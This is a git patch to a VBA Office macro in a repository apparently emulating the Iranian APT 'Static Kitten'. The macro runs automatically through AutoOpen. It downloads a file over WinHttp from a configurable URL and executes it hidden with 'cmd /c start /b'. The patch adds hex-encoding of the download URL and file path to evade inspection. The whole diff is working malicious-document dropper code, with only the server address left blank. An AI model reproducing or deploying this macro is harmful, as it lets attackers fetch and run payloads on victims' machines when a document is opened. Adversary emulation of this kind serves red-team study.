From 665d10937759c687d4d7d4f3ac8ccb8ece1209f5 Mon Sep 17 00:00:00 2001 From: S3N4T0R <121706460+S3N4T0R-0X0@users.noreply.github.com> Date: Mon, 9 Mar 2026 19:27:23 -0400 Subject: [PATCH] Update macros.bas --- Iranian APT/Static Kitten/macros.bas | 32 ++++++++++++++++++++-------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/Iranian APT/Static Kitten/macros.bas b/Iranian APT/Static Kitten/macros.bas index 1aa9d16..8e8c978 100644 --- a/Iranian APT/Static Kitten/macros.bas +++ b/Iranian APT/Static Kitten/macros.bas @@ -1,26 +1,27 @@ - Sub love_me_____() Dim filePath As String - filePath = "C:\\ProgramData\\CertificationKit.ini" - + Dim encodedPath As String + + encodedPath = "Put the HEX code for the actual path here" + filePath = DecodeHex(encodedPath) + If Len(Dir(filePath)) > 0 Then ExecuteFile filePath Else DownloadAndRun filePath End If End Sub + Sub DownloadAndRun(filePath As String) On Error Resume Next Dim objHTTP As Object Dim fileNum As Integer Dim byteData() As Byte + Dim fileURL As String + Dim encodedURL As String - ' ============================================= - ' IMPORTANT: Put your download link below - ' Example: https://yourserver.com/CertificationKit.ini - ' ============================================= - fileURL = "" - + encodedURL = "Put the HEX code for the download URL here" + fileURL = DecodeHex(encodedURL) Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Option(4) = 13056 @@ -40,6 +41,18 @@ Sub DownloadAndRun(filePath As String) End If End If End Sub + +Function DecodeHex(hexString As String) As String + Dim i As Long + Dim result As String + + For i = 1 To Len(hexString) Step 2 + result = result & Chr$(Val("&H" & Mid$(hexString, i, 2))) + Next i + + DecodeHex = result +End Function + Sub ExecuteFile(filePath As String) On Error Resume Next @@ -47,6 +60,7 @@ Sub ExecuteFile(filePath As String) CreateObject("WScript.Shell").Run "cmd /c start /b """ & filePath & """", 0, False End Sub + Sub AutoOpen() love_me_____ End Sub